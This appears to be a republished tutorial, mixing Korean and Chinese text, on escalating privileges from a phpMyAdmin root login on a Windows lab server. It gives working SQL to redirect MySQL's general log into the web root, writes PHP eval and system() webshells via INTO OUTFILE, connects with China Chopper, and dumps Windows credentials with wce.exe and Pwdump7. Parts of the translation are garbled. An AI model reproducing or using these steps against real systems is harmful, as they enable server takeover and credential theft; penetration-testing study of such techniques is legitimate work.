>  기사  >  데이터 베이스  >  phpMyadmin 권한 상승에 관한 사항

phpMyadmin 권한 상승에 관한 사항

藏色散人
藏色散人앞으로
2021-01-11 15:04:442626검색

다음 튜토리얼 칼럼은 phpmyadmin에서 phpMyadmin 권한 상승에 대한 내용을 소개할 예정입니다. 필요한 친구들에게 도움이 되길 바랍니다!

phpMyadmin 권한 상승에 관한 사항

소개: 침투 테스트 중에 phpMyadmin 계정 비밀번호를 배웠습니다. 권한을 어떻게 상승시킬 수 있나요? 계속 읽어보세요. 오늘은 phpMyadmin 권한 상승에 대해 알려드리겠습니다.

0×00 정의

phpMyAdmin은 PHP를 기반으로 하고 웹 사이트 호스트에서 웹 기반 모드로 구성되는 MySQL 데이터베이스 관리 도구로, 관리자가 웹 인터페이스를 사용하여 MySQL 데이터베이스를 관리할 수 있습니다.

0×01 환경 준비

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4

0×02 침투 시작

저희는 취약한 비밀번호, 블래스팅, 디렉토리 유출 등을 통해 PhpMyadmin의 계정 비밀번호가 root임을 알아냈습니다. 다음에는 phpMyadmin을 통해 최대한 현실에 가깝게 권한을 확대하고 더 많은 아이디어에 대해 이야기하겠습니다.

a 유용한 정보 수집

phpMyadmin 권한 상승에 관한 사항phpMyadmin 권한 상승에 관한 사항

위 그림과 같이 다음과 같은 유용한 정보를 얻을 수 있습니다.

  • 1 운영 체제는 Windows Server 2003 x86
  • 2입니다. 서버는 Apache 2.4.32
  • 3입니다. 웹 사이트의 기본 경로는 E:phpStudyPHPTutorialWWW
  • 4입니다. .mysql 버전은 5.5입니다. 53
b 삽입 조건 감지

위에서 우리는 웹사이트의 기본 경로가 E:phpstudyPHPTutorialWWW라는 것을 배웠습니다. 이때 우리는 반드시 백도어 파일을 삽입하거나 쉘을 내보내고 싶습니다. . 위 두 가지 아이디어 중 하나를 사용해야 한다면, "secure_file_priv"에 해당하는 값은 비워둘 수 없으며, 기본 웹사이트의 경로여야 하므로, "secure_file_priv" 값을 미리 확인해야 합니다. .

phpMyadmin은 다음 명령을 실행합니다:

SHOW VARIABLES LIKE “secure_file_priv”;

结果如图所示:

phpMyadmin 권한 상승에 관한 사항

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

phpMyadmin 권한 상승에 관한 사항

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

phpMyadmin 권한 상승에 관한 사항

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

phpMyadmin 권한 상승에 관한 사항

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

phpMyadmin 권한 상승에 관한 사항

phpMyadmin 권한 상승에 관한 사항


그러면 우리가 생성한 의사 일기 파일 infos.php가 웹 사이트의 루트 경로 아래에 있는 것을 볼 수 있습니다.

phpMyadmin 권한 상승에 관한 사항

그런 다음 한 문장 백도어를 삽입해야 합니다.

'';

phpMyadmin 권한 상승에 관한 사항

Chopper를 사용하여 연결을 시도하면 연결이 성공합니다.

phpMyadmin 권한 상승에 관한 사항

d 관리자 비밀번호 받기

0×00 일반 텍스트 직접 받기

일반 텍스트 비밀번호를 받기 위해 wce.exe를 업로드합니다. 운 좋게도 일반 텍스트(11개의 문자와 숫자가 혼합된 비밀번호)를 직접 얻었습니다. 일반 텍스트를 직접 가져올 수 없는 경우 두 번째 단계로 이동하여 해시 값을 가져온 다음 이를 복호화해야 합니다.

phpMyadmin 권한 상승에 관한 사항

0×01 해시값 가져오기

Pwdump7.exe를 업로드하여 해시값을 가져와서 Password.txt 파일에 저장하세요. 해시 값을 얻으려면 http://www.objectif-securite.ch/en/ophcrack.php에서 온라인으로 실행하도록 선택할 수 있습니다. 실패할 경우 Ophcrack을 사용하여 레인보우 테이블을 가져와서 실행할 수 있습니다.

phpMyadmin 권한 상승에 관한 사항

phpMyadmin 권한 상승에 관한 사항


e 3389가 열려 있는지 확인

쵸퍼 터미널에 "netstat -an | find "3389" 또는 "netstat -an "을 직접 입력하세요.

phpMyadmin 권한 상승에 관한 사항

3389는 열려있지 않은데 3390은 열려있는 걸 발견하고, 연결해 보겠습니다. 하지만 내용이 너무 많아서 여기에는 쓰지 않겠습니다.

0×03 Extension

위는 secure_file_priv 값이 비어 있는 상황을 보여 주며 어떻게 해야 할까요? secure_file_priv가 비어 있지 않다면?

phpMyadmin 권한 상승에 관한 사항a my.ini 파일을 구성합니다(웹 사이트 루트 경로와 일치하지 않음)

phpMyadmin 권한 상승에 관한 사항mysq 구성 파일 my.ini를 열고 secure_file_priv 값을 설정한 다음 mysql을 다시 시작합니다.


secure_file_priv = “E:/phpStudy/PHPTutorial /MYSQL/”


phpMyadmin 권한 상승에 관한 사항

尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

phpMyadmin 권한 상승에 관한 사항

phpMyadmin 권한 상승에 관한 사항



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

phpMyadmin 권한 상승에 관한 사항

然后我们尝试插入一句话后门,成功插入。

phpMyadmin 권한 상승에 관한 사항

二话不说菜刀连接。

phpMyadmin 권한 상승에 관한 사항

phpMyadmin 권한 상승에 관한 사항


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php  @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

phpMyadmin 권한 상승에 관한 사항

phpMyadmin 권한 상승에 관한 사항

0×04 요약

이 글의 환경은 waf를 사용하지 않은 점을 제외하면 실제 환경과 최대한 유사하여 누구나 아이디어를 분석하고 설명할 수 있습니다. 다들 수확하셨길 바랍니다.

위 내용은 phpMyadmin 권한 상승에 관한 사항의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제